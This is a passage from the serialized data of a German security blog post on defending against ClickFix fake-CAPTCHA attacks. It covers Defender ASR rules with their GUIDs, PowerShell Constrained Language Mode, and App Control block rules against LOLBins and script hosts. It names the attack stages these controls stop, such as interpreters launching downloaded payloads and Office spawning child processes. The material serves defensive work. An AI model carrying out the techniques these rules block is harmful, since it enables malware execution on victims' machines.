solid #d0d7de; padding: 0.5rem 0.75rem; background: #ffffff","JavaScript oder VBScript am Start heruntergeladener ausführbarer Inhalte hindern",[1581,1601,1603],{"style":1602},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #ffffff; white-space: nowrap",[1214,1604,1605],{},"d3e037e1-3eb8-44c8-a917-57927947596d",[1581,1607,1608],{"style":1598},"WSH, .js oder .vbs, die heruntergeladene Payloads starten",[1561,1610,1563,1611,1563,1614,1563,1619,1559],{},[1581,1612,1613],{"style":1583},"Ausführbare Dateien nur bei Prävalenz-, Alters- oder Trusted-List-Kriterium zulassen",[1581,1615,1616],{"style":1587},[1214,1617,1618],{},"01443614-cd74-433a-b99e-2ecdc07bfc25",[1581,1620,1621],{"style":1583},"Frische oder seltene abgelegte Executables",[1561,1623,1563,1624,1563,1627,1563,1632,1559],{},[1581,1625,1626],{"style":1598},"Ausführbare Inhalte aus E-Mail-Client und Webmail blockieren",[1581,1628,1629],{"style":1602},[1214,1630,1631],{},"be9ba2d9-53ea-4cdc-84e5-9b1eeee46550",[1581,1633,1634],{"style":1598},"Per E-Mail zugestellte ClickFix-Varianten",[1561,1636,1563,1637,1563,1640,1563,1645,1559],{},[1581,1638,1639],{"style":1583},"Alle Office-Anwendungen am Erzeugen von Kindprozessen hindern",[1581,1641,1642],{"style":1587},[1214,1643,1644],{},"d4f940ab-401b-4efc-aadc-ad5f3c50688a",[1581,1646,1647],{"style":1583},"Office-Köder-Varianten, die Interpreter starten",[817,1649,1650],{},"Rollt ASR erst im Audit-Modus aus, dann als Pilot, dann im Block-Modus. Tamper Protection ist die letzte Linie: Sie hindert den Angreifer daran, eure Erkennungen abzuschalten.",[817,1652,1653],{},"Bei PowerShell selbst reduziert ihr das Risiko durch Legacy-Interpreter. Identifiziert und entfernt, wo machbar, Windows PowerShell 2.0 und Legacy-VBScript-Komponenten, denen die Logging- und Security-Features neuerer Versionen fehlen. Der nächste Schritt ist der Constrained Language Mode (CLM), der die verfügbaren Sprachelemente von PowerShell einschränkt und viele skriptbasierte Techniken blockiert. CLM hat nur dann robusten Sicherheitswert, wenn eine System-Application-Control-Policy ihn erzwingt (App Control for Business); die Varianten über Umgebungsvariable und AppLocker sind schwächer und umgehbar. Und viele Systeme brauchen den Full Language Mode, um zu funktionieren, etwa Software-Deployment-Tooling, weshalb CLM oft nur in ausgewählten Umgebungen machbar ist.",[817,1655,1656],{},"Damit sind wir bei App Control for Business (früher WDAC). App Control erzwingt eine Code-Integritäts-Policy darüber, welche Executables, Skripte und Treiber laufen dürfen. Die strategische Haltung ist Default-Deny plus Microsofts empfohlene Block Rules, die bekannte LOLBin- und Bypass-Blockliste. App Control ist auch der korrekte Enforcement-Pfad für den PowerShell-CLM. Die Script Enforcement blockiert MSHTA- und MSXML-Skripthosts, zwingt PowerShell in den CLM und blockiert nicht erlaubten Windows-Script-Host-Einsatz. Ein paar Verhaltensfakten sind wichtig:",[1465,1658,1468,1659,1468,1662,1468,1665],{"style":1467},[1470,1660,1661],{},"Base Policies, die Windows vertrauen, blockieren vertraute LOLBins nicht automatisch. Ihr müsst Microsofts empfohlene Block Rules einmergen, um die bekannten Bypasses zu schließen.",[1470,1663,1664],{},"App Control hindert signierte powershell.exe oder cmd.exe nicht am Start. Es schränkt ein, was sie tun dürfen (CLM, kein unsignierter oder nicht erlaubter Payload) und regelt nicht den Inhalt von cmd.exe, .bat oder .cmd. Deshalb wird es mit ASR und Launch-Härtung geschichtet, nicht allein eingesetzt.",[1470,1666,1667],{},"Der Audit-Modus ist nicht neutral: Die Script Enforcement blockiert auch im Audit die Ausführung von MSHTA und MSXML und kann das PowerShell-CLM-Verhalten verändern. Deshalb muss App Control im Audit von der ersten Ausbringung an pilot- oder ring-begrenzt sein, nie flottenweit.",[817,1669,1670],{},"App Control ist die einzelne Kontrolle mit der höchsten Confidence gegen die Interpreter-, LOLBin- und Payload-Ausführungsphasen und erzwingt robusten CLM. Es trägt zugleich die höchste Deployment-Komplexität und das höchste Rollback-Risiko, denn eine Fehlkonfiguration blockiert die Ausführung. Führt es über kontrollierte Pilot-Ringe ein.",[1193,1672,1674],{"id":1673},"wo-wir-ins-spiel-kommen","Wo wir ins Spiel kommen",[817,1676,1199],{},[817,1678,1679,1680,1445],{},"ClickFix ist schnell, und Microsofts native Erkennungen decken das meiste ab, aber nicht alles. Für unsere CSOC-Kunden erweitern wir die Abdeckung laufend dort, wo Lücken auftauchen: Ausführung über Windows Terminal, RAT-getriebene Support-Scams und Post-Compromise-Verhalten. Wenn ihr wissen wollt, wo eure Umgebung steht, ",[1681,1682,1683],"a",{"href":426},"meldet euch",[1685,1686,1687],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":821,"searchDepth":822,"depth":822,"links":1689},[1690,1691,1692,1693,1694,1695,1696,1697,1698],{"id":1195,"depth":822,"text":1196},{"id":1277,"depth":822,"text":1278},{"id":1289,"depth":822,"text":1290},{"id":1312,"depth":822,"text":1313},{"id":1424,"depth":822,"text":1425},{"id":1454,"depth":822,"text":1455},{"id":1491,"depth":822,"text":1492},{"id":1507,"depth":822,"text":1508},{"id":1673,"depth":822,"text":1674},"post",{"lang":4,"seoTitle":1701,"titleClass":1702,"date":1703,"categories":1704,"blogtitlepic":1705,"socialimg":1706,"customExcerpt":1707,"keywords":1708,"hreflang":1709,"asideNav":1718,"published":521},"ClickFix-Angriffe erkennen und verhindern: der Win+R-Paste-Trick","h2-font-size","2026-09-21",[373],"head-clickfix.jpg","/blog/heads/head-clickfix.jpg","ClickFix macht Nutzer zu ihrem eigenen Angreifer: ein gefälschtes CAPTCHA, ein Copy-Paste, und Schadcode läuft im Speicher, ohne dass etwas auf der Platte landet. Wie Microsoft Defender den Angriff erkennt, wo die Erkennung an Grenzen kommt und wie ihr die Lücke mit einem RunMRU-Hunt und vier Schutz-Layern schließt.","ClickFix, ClickFix Angriff, ClickFix Erkennung, ClickFix verhindern, Fake CAPTCHA, Win+R Angriff, RunMRU KQL, Microsoft Defender, Attack Surface Reduction, ASR Regeln, App Control for Business, WDAC, Constrained Language Mode, Network Protection, AMSI, Endpoint Privilege Management, Infostealer, LOLBin, PowerShell Härtung",[1710,1712,1715],{"lang":4,"href":1711},"/de/posts/2026-09-21-clickfix-prevent-detect",{"lang":1713,"href":1714},"en","/en/posts/2026-09-21-clickfix-prevent-detect",{"lang":1716,"href":1717},"es","/es/posts/2026-09-21-clickfix-prevent-detect",{"menuItems":1719},[1720,1723,1726,1729,1732,1735,1738,1741,1744],{"href":1721,"text":1722},"#die-clickfix-angriffskette","Die Angriffskette",{"href":1724,"text":1725},"#was-microsoft-defender-erkennt","Was Defender erkennt",{"href":1727,"text":1728},"#wo-die-native-erkennung-an-ihre-grenzen-kommt","Wo es hakt",{"href":1730,"text":1731},"#die-lücke-schließen-ein-runmru-hunt","Die Lücke schließen",{"href":1733,"text":1734},"#schutz-layer-1-die-zustellung-blockieren","Layer 1: Zustellung",{"href":1736,"text":1737},"#schutz-layer-2-den-trick-blockieren","Layer 2: Der Trick",{"href":1739,"text":1740},"#schutz-layer-3-die-aktion-blockieren","Layer 3: Die Aktion",{"href":1742,"text":1743},"#schutz-layer-4-die-ausführung-blockieren","Layer 4: Ausführung",{"href":1745,"text":1674},"#wo-wir-ins-spiel-kommen","/posts/2026-09-21-clickfix-prevent-detect",{"title":1188,"description":821},"posts/2026-09-21-clickfix-prevent-detect",[1750,1751,1752],"Defender","SOC","Endpoint Security","SXL56a112LLi-ZoqIyeE9CQKWKsuVR7FakCT2ZZI2Bo",[],1790017938415]